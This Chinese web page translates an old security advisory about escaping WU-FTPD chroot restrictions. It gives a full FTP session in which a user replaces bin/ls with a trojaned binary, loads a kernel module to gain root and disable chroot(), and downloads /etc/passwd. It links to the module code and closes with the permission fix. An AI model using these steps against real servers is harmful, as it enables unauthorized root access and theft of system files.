网页功能: 加入收藏 设为首页 网站搜索  
突破FTP中的限制
发表日期:2003-08-13作者:[] 出处:  

这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,

并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译

了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,

所以并不一定对现在最新的系统适用。------------了解思路吗!!!

下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户

目录下使用/bin/ls存在潜在的漏洞。

当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新

的用户就变成了他用户目录的属主,如:

drwx------  2 user   users    1024 Jun 21 11:26 /home/user/

问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在

在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 .

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。

/lib, /usr/lib: 一些需要的库文件。

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属

给超级用户。

问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。

这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x  6 user   users    1024 Jun 21 11:26 /home/user/

drwx--x--x  2 root   root     1024 Jun 21 11:26 /home/user/bin/

在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此

用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,

注意,这个ls一般是受限用户下的/bin/ls程序。

我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务

程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了

重新获得超级用户的权利,但使用setuid()来操作是不可能的。

不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()

是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,

而且不能超越这个限制。

如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过

的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)

并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

所以下面描述摆脱chroot()的限制:

就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后

的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程

的话我们仍然限制于chroot().

ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能

是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个

继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并

修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp

ftp> o ilm

Connected to ilm.

220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.

Name (ilm:root): user

331 Password required for user.

Password:

230 User user logged in. Access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了

chroot()到用户的home 目录:

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x  5 user   users    1024 Jun 21 11:26 .

drwxr-xr-x  5 user   users    1024 Jun 21 11:26 ..

d--x--x--x  2 root   root     1024 Jun 21 11:26 bin

drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc

drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home

226 Transfer complete.

ftp> cd ..

250 CWD command successful.

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 5

drwxr-xr-x  5 user   users    1024 Jun 21 11:26 .

drwxr-xr-x  5 user   users    1024 Jun 21 21:26 ..

d--x--x--x  2 root   root     1024 Jun 21 11:26 bin

drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc

drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home

226 Transfer complete.

用户被受限于他的home目录:

ftp> ls bin/ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

---x--x--x  1 root   root    138008 Jun 21 11:26 bin/ls

226 Transfer complete.

ftp> ren bin bin.old

350 File exists, ready for destination name

250 RNTO command successful.

ftp> mkdir bin

257 MKD command successful.

ftp> cd bin

250 CWD command successful.

ftp> put ls

226 Transfer complete.

ftp> put insmod

226 Transfer complete.

ftp> put chr.o

226 Transfer complete.

修改ls两进制程序并上载所需文件

ftp> chmod 555 ls

200 CHMOD command successful.

ftp> chmod 555 insmod

200 CHMOD command successful

改变文件属性,这样可以来执行刚刚上载的文件。

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

UID: 0 EUID: 1002

Cambiando EUID...

UID: 0 EUID: 0

Cargando modulo chroot...

Modulo cargado.

226 Transfer complete.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp> bye

221 Goodbye.

thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp

ftp> o ilm

Connected to ilm.

220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.

Name (ilm:root): user

331 Password required for user.

Password:

230 User user logged in. Access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp> ls

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 1697

drwxr-xr-x 21 root   root     1024 Jun 21 11:57 .

drwxr-xr-x 21 root   root     1024 Jun 21 11:57 ..

-rw-r--r--  1 root   root     118 Apr 21 11:26 .bash_history

drwxr-xr-x  2 root   bin     2048 Jun 21 11:26 bin

drwxr-xr-x  2 root   root     1024 Jun 8 11:26 boot

drwxr-xr-x  2 root   root     1024 Oct 6 11:26 cdrom

drwxr-xr-x  3 root   root    21504 Jun 21 15:26 dev

drwxr-xr-x 14 root   root     3072 Jun 21 15:26 etc

drwxr-xr-x  7 root   root     1024 Jun 21 19:26 export

drwxr-xr-x  7 root   root     1024 Jun 21 19:26 home

dr-xr-xr-x  5 root   root      0 Jun 21 14:26 proc

...

-rw-r--r--  1 root   root    404717 Mar 12 18:06 vmlinuz

226 Transfer complete.

这时我们可以访问整个文件系统了。

ftp> get /etc/passwd

226 Transfer complete.

ftp> bye

221 Goodbye.

thx:~#

这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,

我们就可以获得更大的权利。

最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user

total 5

drwxr-xr-x  6 root   root     1024 Jun 21 11:26 ./

drwxr-xr-x  8 root   root     1024 Jun 21 11:26 ../

d--x--x--x  2 root   root     1024 Jun 21 11:26 bin/

drwxr-xr-x  2 root   root     1024 Jun 21 11:26 etc/

drwxr-xr-x  2 user   users    1024 Jun 21 11:26 home/

ilm:~$

更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。

参考:

1,模块代码下载:http://hispahack.ccc.de/wu-guest.tgz

2,wu-ftpd Resource Center --http://www.landfield.com/wu-ftpd/

3,ProFTPD -- http://www.proftpd.org/

4,原文:http://hispahack.ccc.de/en/mi009en.htm

xundi@xfocus.org 2000-7-31

http://www.xfocus.org

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 突破FTP中的限制
本类热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网站(janker...
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计算机
  如何利用终端服务入侵远程计算机
  “流光异彩”话小榕
  一次入侵过程
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2024 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00473